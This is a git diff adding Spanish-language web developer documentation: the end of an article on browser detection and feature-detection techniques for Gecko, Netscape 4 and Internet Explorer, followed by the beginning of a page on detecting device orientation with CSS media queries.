+        // del navegador y le indica que tiene que desactivar
+        // JavaScript para poder ver su sitio.
+      }
+
+      // Netscape Navigator 4 generará un error en cualquier
+      // JavaScript que intente usar procesamiento de excepciones
+      // con bloques try ... catch.
+      try
+      {
+        // Código para implementar un menú bonito
+      }
+      catch (errores)
+      {
+        // Manejo de excepciones
+      }
+    &lt;/SCRIPT&gt;
+    &lt;NOSCRIPT&gt;
+      &lt;!--
+      Si JavaScript no está activado, entonces el navegador
+      mostrará los contenidos de la etiqueta NOSCRIPT
+      que, en este caso, es un simple menú implementado
+      como una lista no ordenada.
+      --&gt;
+      &lt;UL&gt;
+        &lt;LI&gt;&lt;A HREF="choice1.html"&gt;Elección 1&lt;/A&gt;&lt;/LI&gt;
+        &lt;LI&gt;&lt;A HREF="choice2.html"&gt;Elección 2&lt;/A&gt;&lt;/LI&gt;
+      &lt;/UL&gt;
+    &lt;/NOSCRIPT&gt;
+  &lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
+<h4 id="Usar_SCRIPT_LANGUAGE_para_elegir_el_navegador_en_el_que_se_ejecuta">Usar SCRIPT LANGUAGE para elegir el navegador en el que se ejecuta</h4>
+<p>La elección del lenguaje de scripting viene determinada por el atributo LANGUAGE de la etiqueta script. Internet Explorer 4 y superiores pueden admitir una variedad de lenguajes de script. Los más comunes son <em>VBSCRIPT</em> y <em>JavaScript</em>. Internet Explorer también usa <em>JSCRIPT</em> como un sinónimo de JavaScript. Puesto que otros navegadores no admiten los valores <em>VBSCRIPT</em> o <em>JSCRIPT</em> como atributo de lenguaje, puede usar éstos cuando desee que ciertos scripts se ejecuten únicamente por Internet Explorer 4 y superior.</p>
+<pre>&lt;HTML&gt;
+  &lt;HEAD&gt;
+    &lt;TITLE&gt;Lenguajes Script&lt;/TITLE&gt;
+  &lt;/HEAD&gt;
+  &lt;BODY&gt;
+    &lt;SCRIPT LANGUAGE="JavaScript"&gt;
+      // Código JavaScript para implementar un menú vistoso
+      // Visible a todos los navegadores que admitan JavaScript
+    &lt;/SCRIPT&gt;
+    &lt;SCRIPT LANGUAGE="JScript"&gt;
+      // Código JavaScript que usa características propietarias de
+      // Internet Explorer no disponibles en otros navegadores
+    &lt;/SCRIPT&gt;
+    &lt;SCRIPT LANGUAGE="VBScript"&gt;
+      // Codigo VBScript que usa características propietarias de
+      // Internet Explorer no disponibles en otros navegadores
+    &lt;/SCRIPT&gt;
+  &lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
+<h4 id="Usar_las_limitaciones_CSS_de_Netscape_Navigator_4">Usar las limitaciones CSS de Netscape Navigator 4</h4>
+<p>Es posible usar las limitaciones de Netscape Navigator 4 en su implementación CSS para excluir automáticamente ciertas reglas CSS de su interpretación por Navigator 4.</p>
+<p>Por ejemplo, Navigator 4 no comprende la directiva @import en CSS y no cargará ninguna hoja de estilo CSS externa especificada vía @import. Esta técnica puede usarse para proporcionar reglas CSS básicas comunes para todos los navegadores (incluyendo Navigator 4) y, al mismo tiempo, proporcionar reglas más avanzadas en un archivo CSS externo para los navegadores más modernos con mejor cumplimiento CSS.</p>
+<pre>&lt;STYLE type="text/css"&gt;
+/* Reglas CSS para Navigator 4 */
+&lt;/STYLE&gt;
+
+&lt;STYLE type="text/css"&gt;
+/* Reglas CSS avanzadas ignoradas por Navigator 4 */
+@import "advanced.css";
+&lt;/STYLE&gt;
+</pre>
+<p>Hay disponible una técnica similar para ocultar las reglas CSS de Navigator 4 aprovechando el hecho de que Navigator 4 ignorará las reglas CSS que aparezcan tras la secuencia /*/*/ en una hoja de estilos.</p>
+<pre>&lt;STYLE type="text/css"&gt;
+/* Reglas para Navigator 4 */
+
+/*/*/
+/* Reglas CSS avanzadas ignoradas por Navigator 4 */
+&lt;/STYLE&gt;
+</pre>
+<p>DevEdge usa esta técnica para ocultar el CSS avanzado de Navigator 4.</p>
+<h4 id="Usar_detección_de_objetos_orientada_a_características">Usar detección de objetos orientada a características</h4>
+<p>La detección de objetos es un poderoso método para proporcionar cobertua a múltiples navegadores en su contenido web. Aunque puede usar la detección de objetos como un medio más para distinguir entre distintos suministradores y versiones, la técnica muestra su verdadero potencial cuando se usa para detectar características en lugar de navegadores.</p>
+<p>La detección de objetos orientada a características consiste en comprobar la existencia de objetos específicos antes de intentar usarlos en un script. El ejemplo clásico es:</p>
+<pre>if (document.images)
+{
+  // código que procesa las imágenes
+}
+</pre>
+<p>La ventaja de la detección de características es que funcionará con independencia del suministrador y versión. Podemos reescribir el ejemplo anterior que ilustraba los problemas de usar objetos para determinar el suministrador y versión para que use en su lugar detección de características.</p>
+<pre>if (document.body &amp;&amp; typeof(document.body.offsetHeight) == 'number')
+{
+  height = document.body.offsetHeight;
+}
+else if (typeof(window.innerHeight) == 'number')
+{
+  height = window.innerHeight;
+}
+else
+{
+  height = 0;
+}
+</pre>
+<p>Observe cómo el ejemplo anterior no hace suposiciones sobre qué navegador se está usando. En su lugar, sólo comprueba los objetos que desea usar. Puesto que los valores numéricos podrían ser cero, el script prueba el tipo de los objetos para asegurarse de que son números.</p>
+<h3 id="Gecko_y_Navigator_4">Gecko y Navigator 4</h3>
+<p>Gecko es el reemplazo para el motor de dibujado de Navigator 4 y, como tal, retiene muchas características de Navigator 4. Las diferencias básicas entre Navigator 4 y Gecko pueden resumirse rápidamente en:</p>
+<ul> <li><strong>Gecko cumple con los estándares</strong>. Gecko implementa muchos más estándares que Navigator 4 y los implementa correctamente, a diferencia de Navigator 4.</li> <li><strong>Gecko no implementa capas (Layers)</strong>. Navigator 4 introdujo la API de capas que usaba para manipular contenido y que formaba la base de DHTML en Navigator 4. Las capas, sin embargo, no fueron aceptadas por W3C ni en HTML ni en DOM. Dado que la misión de Gecko era ser el navegador más conforme a estándares posible, no se implementaron las capas. Esta falta de compatibilidad hacia atrás ha sido la causa de muchos problemas para los autores web, pero puede solucionarse fácilmente a través de un buen contenido y las estrategias de detección de navegadores correctas. A medida que el uso de Navigator 4 decrece y más autores usan los estándares en sus contenidos, las capas y los problemas que causan desaparecerán.</li>
+</ul>
+<h3 id="Gecko_e_Internet_Explorer">Gecko e Internet Explorer</h3>
+<p>Gecko implementa cierto número de características propietarias de Internet Explorer, especialmente con respecto a su <a class="external" href="http://msdn.microsoft.com/library/">modelo de objetos DHTML</a>. La implementación en Gecko de las características de IE se ha ido incrementando paulatinamente desde la presentación de Netscape 6 en noviembre de 2000. La mejor aproximación para sacar partido de estas características de compatibilidad con IE en Gecko es usar la detección de características basada en objetos. Esto usará automáticamente esas características en Gecko si están disponibles en la versión de Gecko usada. Vea la <a href="/es/DOM_Client_Object_Cross-Reference/navigator" title="es/DOM_Client_Object_Cross-Reference/navigator">DOM Client Object Cross-Reference:navigator</a> para más detalles sobre qué objetos y propiedades de Internet Explorer están implementadas en qué versiones de Gecko.</p>
+<p>Ciertas características de Internet Explorer <strong>no están implementadas en Gecko</strong>. Entre éstas se incluyen el objeto <code>window.event</code>, <em>behaviors</em>, filtros, transiciones y ActiveX.</p>
+<h3 id="Cómo_(y_cuándo)_usar_el_objeto_navigator_al_detectar_Gecko">Cómo (y cuándo) usar el objeto navigator al detectar Gecko</h3>
+<p>A menos que necesite específicamente detectar si se está usando Gecko, no use estos métodos. Sólo deberían usarse en circunstancias que no puedan ser resueltas usando la <em>detección de características mediante objetos</em> como, por ejemplo, cuando deben excluirse versiones específicas de Gecko por razones de seguridad.</p>
+<p><strong>Nota:</strong> para la detección en el lado cliente, recomendamos usar el objeto <code>navigator</code> y sus propiedades. Toda la información devuelta en el objeto <code>navigator</code> también está disponible en la cadena de agente de usuario que puede usarse en el lado del servidor.</p>
+<h4 id="Producto_(product)">Producto (<em>product</em>)</h4>
+<p><code>navigator.product</code> es específico de los navegadores Gecko y siempre devolverá 'Gecko'. Ésta es una manera rápida y sencilla de determinar que un navegador está basado en Gecko.</p>
+<h4 id="Etiqueta_de_la_rama_CVS_(CVS_Branch_Tag)">Etiqueta de la rama CVS (CVS Branch Tag)</h4>
+<p>A partir de Gecko 0.9.0 (Netscape 6.1 en Gecko 0.9.2), <code>navigator.userAgent</code> contiene la etiqueta de la rama CVS del código fuente usado para crear la versión de Gecko usada en el navegador. La etiqueta de la rama está incluida en el área de comentario de la cadena de agente de usuario y está precedida de la secuencia 'rv:'. En el ejemplo siguiente, la etiqueta de la rama es a.b.c.</p>
+<pre class="eval">Mozilla/5.0 (...; rv:a.b.c) Gecko/CCYYMMDD Suministrador/versión
+</pre>
+<p>Los navegadores Gecko compilados desde la misma rama comparten la misma versión básica de Gecko y pueden tratarse de manera similar en lo relativo a HTML, CSS, JavaScript, etc. Por ejemplo, Netscape 6.2, 6.2.1, 6.2.2, 6.2.3 y CompuServe 7 están, todos ellos, compilados a partir de la rama 0.9.4 y, por tanto, tienen el mismo comportamiento en muchos aspectos.</p>
+<table> <caption>Etiquetas de ramas Gecko</caption> <tbody> <tr> <th>Navegador</th> <th>Etiqueta de rama</th> </tr> <tr> <td>Netscape 6.0</td> <td>contenía M18 en lugar del valor rv</td> </tr> <tr> <td>Netscape 6.1</td> <td>0.9.2</td> </tr> <tr> <td>Netscape 6.2</td> <td>0.9.4</td> </tr> <tr> <td>Netscape 6.2.1</td> <td>0.9.4</td> </tr> <tr> <td>Netscape 6.2.2</td> <td>0.9.4.1</td> </tr> <tr> <td>Netscape 6.2.3</td> <td>0.9.4.1</td> </tr> <tr> <td>CompuServe 7</td> <td>0.9.4.2</td> </tr> <tr> <td>Netscape 7.0</td> <td>1.0.1</td> </tr> <tr> <td>Netscape 7.01</td> <td>1.0.2</td> </tr> </tbody>
+</table>
+<p>Como puede ver, todas las versiones de Netscape 6.2 y CompuServe 7 fueron creadas de la rama 0.9.4. La distinción entre 0.9.4, 0.9.4.1, 0.9.4.2 es menor.</p>
+<p><strong>Nota:</strong> la etiqueta de la rama es una cadena y puede contener más cosas que dígitos sueltos en un nivel concreto. Por ejemplo, es concebible que algún día existan etiquetas de ramas similares a 2.2.0 y 2.12.36. Puesto que estos valores son cadenas, no es posible realizar comparaciones entre cadenas para determinar qué rama es posterior. En nuestro ejemplo, la rama 2.2.0 se creó antes que la 2.12.36, pero una comparación de esos valores entre cadenas mostrará que '2.2.0' &gt; '2.12.36'. La función JavaScript geckoGetRv() proporciona una solución a este problema convirtiendo la etiqueta de la rama en la cadena de agente de usuario en un número de coma flotante donde cada nivel de la etiqueta de la rama es considerado un número entre 0-99.</p>
+<table> <caption>Ejemplo de geckoGetRv()</caption> <tbody> <tr> <th>Etiqueta de rama</th> <th>geckoGetRv()</th> </tr> <tr> <td>0.9.2</td> <td>0.0902</td> </tr> <tr> <td>0.9.4</td> <td>0.0904</td> </tr> <tr> <td>0.9.4.1</td> <td>0.090401</td> </tr> <tr> <td>0.9.4.2</td> <td>0.090402</td> </tr> <tr> <td>1.0.1</td> <td>1.0001</td> </tr> <tr> <td>1.0.2</td> <td>1.0002</td> </tr> <tr> <td>2.2.0</td> <td>2.02</td> </tr> <tr> <td>2.12.36</td> <td>2.1236</td> </tr> </tbody>
+</table>
+<p>geckoGetRv() devuelve valores que pueden compararse usando mayor que, menor que, etc. geckoGetRv() no es parte oficial de Gecko; sin embargo, se proporciona como un ejemplo de aproximaciones que pueden tomarse para comparar las diferentes etiquetas de rama hoy y en el futuro.</p>
+<h4 id="Fecha_de_compilación">Fecha de compilación</h4>
+<p><code>navigator.productSub</code> es específico de los navegadores Gecko y devolverá una cadena que contiene la fecha en que se compiló el navegador en el formato CCYYMMDD (p.e. '20020801' para el 1 de agosto de 2002). Si le preocupa un problema de seguridad concreto en Gecko y sabe, por ejemplo, que todos los navegadores Gecko contienen una corrección para el problema a partir de una cierta fecha, puede comprobar que el valor de <code>navigator.productSub</code> es posterior a esa fecha.</p>
+<p>También puede distinguir entre versiones "punto algo" usando una combinación de la etiqueta de la rama y la fecha de compilación. Por ejemplo, Netscape 6.2.2 y Netscape 6.2.3 tienen ambos la etiqueta de la rama 0.9.4.1, pero Netscape 6.2.2 tiene <code>navigator.productSub == '20020314'</code> mientras que Netscape 6.2.3 tiene <code>navigator.productSub == '20020508'</code>.</p>
+<h4 id="El_suministrador_y_la_versión_(vendorversion)">El suministrador y la versión (<em>vendor/version</em>)</h4>
+<p>Todos los navegadores Gecko devuelven el suministrador y la versión tanto en el objeto <code>navigator</code> como en la cadena de agente de usuario. La información de suministrador y versión, no obstante, no es tan útil como la etiqueta de la rama y la fecha de compilación y no recomendamos su uso. Sin embargo, si lo desea, puede distinguir los diferentes tipos de navegador Gecko usando estos valores. Como vimos previamente, el suministrador/versión aparece en la cadena de agente de usuario a continuación de la versión de Gecko.</p>
+<pre class="eval">Mozilla/5.0 (...; rv:a.b.c) Gecko/CCYYMMDD Suministrador/versión
+</pre>
+<p>El suministrador está disponible en el objeto <code>navigator</code> como <code>navigator.vendor</code> mientras que la versión del suministrador está disponible como <code>navigator.vendorSub</code>.</p>
+<table> <caption>Valores de suministrador/versión de Gecko</caption> <tbody> <tr> <th>Navegador</th> <th>Suministrador</th> <th>Versión</th> </tr> <tr> <td>Netscape 6.0</td> <td>Netscape6</td> <td>6.0</td> </tr> <tr> <td>Netscape 6.01</td> <td>Netscape6</td> <td>6.01</td> </tr> <tr> <td>Netscape 6.1</td> <td>Netscape6</td> <td>6.1</td> </tr> <tr> <td>Netscape 6.2</td> <td>Netscape6</td> <td>6.2</td> </tr> <tr> <td>Netscape 6.2.1</td> <td>Netscape6</td> <td>6.2.1</td> </tr> <tr> <td>Netscape 6.2.2</td> <td>Netscape6</td> <td>6.2.2</td> </tr> <tr> <td>Netscape 6.2.3</td> <td>Netscape6</td> <td>6.2.3</td> </tr> <tr> <td>CompuServe 7.0</td> <td>CS 2000 7.0</td> <td>7.0</td> </tr> <tr> <td>Netscape 7 Versión preliminar 1</td> <td>Netscape</td> <td>7.0b1</td> </tr> <tr> <td>Netscape 7.0</td> <td>Netscape</td> <td>7.0</td> </tr> <tr> <td>Netscape 7.01</td> <td>Netscape</td> <td>7.01</td> </tr> </tbody>
+</table>
+<h3 id="Ejemplos">Ejemplos</h3>
+<p>Si es como yo, aprende mejor de ejemplos. Estudiar cómo usan otros autores la detección de navegador y las técnicas de codificación para múltiples navegadores es la <strong>mejor</strong> forma de aprender.</p>
+<h4 id="Ejemplo_1_-_detección_de_características_basada_en_objetos">Ejemplo 1 - detección de características basada en objetos</h4>
+<p>Este ejemplo ilustra el uso de la <em>detección de características</em>. Observe que Gecko 1.0 (Netscape 7) y posteriores implementan la característica propietaria de Internet Explorer clientWidth mientras que Netscape 6 no lo hacía. En este ejemplo, Netscape 7 e Internet Explorer 5+ usarán automáticamente clientWidth mientras que Netscape Navigator 4, Netscape 6, CompuServe 7 <em>y Opera</em> usarán innerWidth.</p>
+<p>Compare cómo habría tenido que codificar esto mismo usando aproximaciones de detección basadas en <em>suministrador/versión</em>.</p>
+<pre>if (windowRef.document.body &amp;&amp; typeof(windowRef.document.body.clientWidth) == 'number')
+{
+  // Gecko 1.0 (Netscape 7) e Internet Explorer 5+
+  width = windowRef.document.body.clientWidth;
+}
+else if (typeof(windowRef.innerWidth) == 'number')
+{
+  // Navigator 4.x, Netscape 6.x, CompuServe 7 y Opera
+  width = windowRef.innerWidth;
+}
+</pre>
+<h4 id="Ejemplo_2_-_detección_de_características_basada_en_objetos">Ejemplo 2 - detección de características basada en objetos</h4>
+<h5 id="Cobertura_a_múltiples_navegadores">Cobertura a múltiples navegadores</h5>
+<p>Este ejemplo también ilustra el uso de la <em>detección de características</em> y muestra las complicaciones que pueden surgir de las implementaciones no estándar en otros navegadores.</p>
+<pre>function moveElement(id, x, y)
+{
+  // mueve el elemento id a x,y
+  // donde x,y son la posición horizontal
+  // y vertical en píxeles
+
+  var elm = null;
+  if (document.getElementById)
+  {
+    // el navegador implementa parte de W3C DOM HTML
+    // Gecko, Internet Explorer 5+, Opera 5+
+    elm = document.getElementById(id);
+  }
+  else if (document.all)
+  {
+    // Internet Explorer 4 u Opera con el agente de usuario IE
+    elm = document.all[id];
+  }
+  else if (document.layers)
+  {
+    // Navigator 4
+    elm = document.layers[id];
+  }
+
+  if (!elm)
+  {
+    // navegador no admitido o elemento no encontrado
+  }
+  else if (elm.style)
+  {
+    // el navegador implementa parte de W3C DOM Style
+    // Gecko, Internet Explorer 4+, Opera 5+
+
+    if (typeof(elm.style.left) == 'number')
+    {
+      // Opera 5/6 no implementa el estándar correctamente
+      // y asume que elm.style.left y propiedades similares
+      // son números.
+      elm.style.left = x;
+      elm.style.top  = y;
+    }
+    else
+    {
+      // Gecko/Internet Explorer 4+
+      // W3C DOM Style establece que elm.style.left es una cadena
+      // que contiene la longitud seguida de la unidad, p.e. 10px
+      // Gecko le permitirá omitir la unidad sólo en el modo con
+      // vericuetos (Quirks mode).
+      // Gecko REQUIERE la unidad si opera en el modo de estándares.
+      elm.style.left = x + 'px';
+      elm.style.top  = y + 'px';
+    }
+  }
+  else if (typeof(elm.left) == 'number')
+  {
+    // Navigator 4
+    elm.left = x;
+    elm.top  = y;
+  }
+}
+</pre>
+<h5 id="Sólo_con_estándares">Sólo con estándares</h5>
+<p>Considere lo sencilla que es esta función si la codifica de acuerdo a los estándares del W3C.</p>
+<pre>function moveElement(id, x, y)
+{
+  // mueve el elemento id a x,y
+  // donde x,y son la posición horizontal
+  // y vertical en píxeles
+
+  var elm = document.getElementById(id);
+
+  if (elm)
+  {
+    elm.style.left = x + 'px';
+    elm.style.top  = y + 'px';
+  }
+}
+</pre>
+<p>Pregúntese a sí mismo esto: "¿Dar cobertura a los <em>navegadores no estándar</em> compensa los costes de desarrollo y mantenimiento?"</p>
+<h4 id="Ejemplo_3_-_Detectar_ramas_específicas_de_Gecko">Ejemplo 3 - Detectar ramas específicas de Gecko</h4>
+<pre>// devuelve el valor rv de un agente de usuario Gecko
+// como un número de coma flotante.
+// devuelve -1 para navegadores no Gecko.
+//          0 para navegadores previos a Netscape 6.1/Gecko 0.9.1
+//          número &gt; 0 donde cada porción del valor rv
+//          delimitado por . se tratará como un valor
+//          entre 0-99.
+//          p.e. para rv: 3.12.42,
+//          getGeckoRv() devuelve 3.1242
+//
+function geckoGetRv()
+{
+  if (navigator.product != 'Gecko')
+  {
+    return -1;
+  }
+  var rvValue = 0;
+  var ua      = navigator.userAgent.toLowerCase();
+  var rvStart = ua.indexOf('rv:');
+  var rvEnd   = ua.indexOf(')', rvStart);
+  var rv      = ua.substring(rvStart+3, rvEnd);
+  var rvParts = rv.split('.');
+  var exp     = 1;
+
+  for (var i = 0; i &lt; rvParts.length; i++)
+  {
+    var val = parseInt(rvParts[i]);
+    rvValue += val / exp;
+    exp *= 100;
+  }
+
+  return rvValue;
+}
+
+
+// determina si el navegador es cualquier Gecko de la
+// rama &gt;= 1.0.1 o Netscape 6.2.x/CompuServe 7
+// compilado tras el 1 de agosto de 2002
+
+var rv    = geckoGetRv();
+var found = false;
+
+if (rv &gt;= 0)
+{
+  // Navegador Gecko
+  if (navigator.productSub &gt; '20020801')
+  {
+    if (rv &gt;= 1.0001)
+    {
+      found = true;
+    }
+    else if (rv &gt;= 0.0904 &amp;&amp; rv &lt; 0.0905)
+    {
+      if (navigator.vendor == 'Netscape6' || navigator.vendor == 'CS 2000 7.0')
+      {
+        found = true;
+      }
+    }
+  }
+}
+</pre>
+<h4 id="Ejemplo_4_-_The_International_Herald-Tribune">Ejemplo 4 - <a class="external" href="http://www.iht.com">The International Herald-Tribune</a></h4>
+<p>Este <a class="external" href="http://www.iht.com">sitio</a> ilustra muchas de las técnicas descritas en este artículo. Usan páginas <em>básicas</em> para los navegadores menos capaces combinadas con la detección de <em>características basada en objetos</em> para producir un sitio atractivo e interesante.</p>
+<h4 id="Ejemplos_de_DevEdge">Ejemplos de DevEdge</h4>
+<pre class="eval">   * xbDOM
+   * xbMarquee
+   * xbPositionableElement
+   * xbAnimatedElement
+</pre>
+<h3 id="Conclusión">Conclusión</h3>
+<p>Como hemos visto en este artículo, la historia de detección de navegadores es aún bastante complicada debido a las diferencias entre los navegadores modernos tales como Gecko/Internet Explorer 6 y los navegadores más antiguos o no estándares tales como Netscape Navigator 4. Puede decirse a sí mismo "¡Si todos los navegadores fueran tan buenos como Gecko e Internet Explorer 6, entonces mi trabajo sería mucho más fácil!".</p>
+<p>Me gustaría dejarle con esta idea. En el pasado, los usuarios no tenían la posibilidad de escoger un navegador que implementara los estándares; sin embargo hoy tienen esa elección. No hay razón convincente para que nadie en el mundo continúe usando un navegador que no implemente los estándares. Sin embargo, en la medida en que los desarrolladores web continúen codificando arreglos para estos navegadores antiguos, los usuarios no tendrán una motivación para actualizar. Al cesar de dar cobertura a los navegadores antiguos, puede proporcionar una razón a los usuarios para actualizar. Esto no sólo les beneficiará a ellos, sino también a usted. Tener en cuenta <strong>sólo a navegadores basados en estándares</strong> puede reducir los costes de desarrollo y mantenimiento así como incrementar el <em>contenido dinámico y atractivo</em> que atraerá visitantes e incrementará su beneficio. La elección es suya... <strong>¡Decida apoyar a los estándares hoy!</strong></p>
+<h3 id="Enlaces">Enlaces</h3>
+<ul> <li><a href="/es/Manual_de_Compatibilidad_de_Gecko" title="es/Manual_de_Compatibilidad_de_Gecko">Manual de Compatibilidad de Gecko</a></li> <li><a class="external" href="http://www.mozilla.org/build/revised-user-agent-strings.html">Cadenas de agente de usuario de Mozilla</a></li> <li><a href="/es/DOM_Client_Object_Cross-Reference/navigator" title="es/DOM_Client_Object_Cross-Reference/navigator">Referencia de interacción de modelo de objetos del documento - navegador</a></li> <li><a href="/es/Cadenas_del_User_Agent_de_Gecko" title="es/Cadenas_del_User_Agent_de_Gecko">Cadenas del User Agent de Gecko</a></li> <li><a class="external" href="http://tools.ietf.org/html/rfc1945" title="http://tools.ietf.org/html/rfc1945">RFC 1945</a> - Hypertext Transfer Protocol -- HTTP 1.0</li> <li><a class="external" href="http://tools.ietf.org/html/rfc2068" title="http://tools.ietf.org/html/rfc2068">RFC 2068</a> - Hypertext Transfer Protocol -- HTTP 1.1</li> <li><a href="/es/Mozilla's_Quirks_Mode" title="es/Mozilla's_Quirks_Mode">Mozilla's Quirks Mode</a></li> <li><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnie60/html/cssenhancements.asp">CSS Enhancements in Internet Explorer 6</a></li> <li><a class="external" href="http://www.w3.org/">W3C</a> <ul> <li><a class="external" href="http://www.w3.org/MarkUp/">W3C Markup</a></li> <li><a class="external" href="http://www.w3.org/TR/">W3C: Recomendaciones técnicas</a> <ul> <li><a class="external" href="http://www.w3.org/TR/html401/">W3C HTML 4.01</a></li> <li><a class="external" href="http://www.w3.org/TR/REC-CSS1/">W3C CSS 1</a></li> <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/">W3C CSS 2</a></li> <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/">W3C DOM Core 2</a></li> <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/">W3C DOM HTML 2</a></li> <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/">W3C DOM Style 2</a></li> </ul> </li> </ul> </li>
+</ul>
+<div class="originaldocinfo">
+<h3 id="Información_del_documento_original">Información del documento original</h3>
+<ul> <li>Autor(s): Bob Clary</li> <li>Última actualización: 10 Feb 2003</li>
+</ul>
+</div>
+<p></p>
diff --git a/files/es/detectar_la_orientación_del_dispositivo/index.html b/files/es/detectar_la_orientación_del_dispositivo/index.html
new file mode 100644
index 0000000000..08f93e1145
--- /dev/null
+++ b/files/es/detectar_la_orientación_del_dispositivo/index.html
@@ -0,0 +1,56 @@
+---
+title: Detectar la orientación del dispositivo
+slug: Detectar_la_orientación_del_dispositivo
+tags:
+  - Aceleración
+  - CSS
+  - Consultas
+  - Orientación
+  - para_revisar
+---
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">{{ gecko_minversion_header ("1.9.1") }}</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Cada vez más, los dispositivos habilitados para la web son capaces de determinar su <strong>orientación,</strong> es decir, que pueden informar sobre los datos que indican cambios en su orientación con relación a la atracción de la gravedad.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En concreto, los dispositivos manuales como, por ejemplo, los teléfonos móviles pueden utilizar esta información para rotar automáticamente la pantalla de forma que se mantenga en posición vertical. Cuando el dispositivo se gira, presenta una vista en pantalla panorámica del contenido de la web, de manera que su anchura es superior a su altura.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Hay dos maneras de tratar la información de orientación en Gecko.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La primera es la <a href="/En/CSS/Media_queries#orientation" title="En/CSS/Media queries#orientation">consulta a medios de orientación</a> .</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Esto te permite ajustar el contenido de tu diseño con CSS, en función de si el dispositivo está en modo horizontal (es decir, su anchura es superior a su altura) o en modo vertical (su altura es mayor que su anchura).</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La segunda manera de administrar la información de orientación, , es el <a href="/en/DOM/MozOrientation" title="en/DOM/MozOrientation">evento </a></span></span><a href="/en/DOM/MozOrientation" title="en/DOM/MozOrientation"><code>MozOrientation</code></a><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><a>, agregado en Gecko 1.9.2 (Firefox 3.6).</a></span></span><a> <span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Este evento se envía cuando el acelerómetro detecta un cambio en la orientación del dispositivo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Al recibir y procesar los datos reportados por los eventos <code>MozOrientation</code>, es posible responder de forma interactiva a los cambios de elevación y rotación causados por el movimiento del dispositivo.</span></span></a></p><a>
+<h2 id="Ajuste_de_diseño_cuando_cambia_la_orientación"><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Ajuste de diseño cuando cambia la orientación</span></span></h2>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Uno de los casos en que te interesarán los cambios de orientación es cuando quieras evaluar el diseño de tu contenido en función de la orientación del dispositivo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Por ejemplo, tal vez desees que una barra de botones se extienda a lo largo de la pantalla del dispositivo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Si utilizas una consulta multimedia, puede hacer esto fácilmente y de forma automática.</span></span></p>
+<h3 id="Construir_el_CSS_para_cada_orientación"><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Construir el CSS para cada orientación</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Para este caso práctico, necesitarás dos hojas de estilo: una para ser usada cuando el dispositivo está en orientación vertical (su altura es mayor que su anchura) y la otra que se utiliza cuando el dispositivo está en posición horizontal (su ancho es mayor a su altura).</span></span></p>
+<table class="standard-table" style="width: auto;"> <tbody> <tr> <td class="header"><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Vertical</span></span></td> <td class="header"><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Horizontal</span></span></td> </tr> <tr> <td> <p><code>#toolbar {</code><br> <code>   width: 100%;</code><br> <code> }</code><br> <code> </code></p> </td> <td><code>#toolbar {</code><br> <code>   min-height: 500px;</code><br> <code>   width: 125px;</code><br> <code>   margin-right: 8px;</code><br> <code>   float: left;</code><br> <code> }</code><br> <code> </code></td> </tr> </tbody>
+</table>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Como puedes ver si analizas los dos fragmentos de CSS anteriores, en el modo vertical, hacemos que la barra de herramientas se extienda horizontalmente en la parte superior de la ventana, con el fin de maximizar el espacio horizontal disponible para el contenido.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En el modo horizontal, la barra de herramientas se extiende verticalmente por el lado izquierdo del documento.</span></span></p>
+<h3 id="La_aplicación_del_CSS_correcto_en_función_de_la_orientación_actual"><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La aplicación del CSS correcto en función de la orientación actual</span></span></h3>
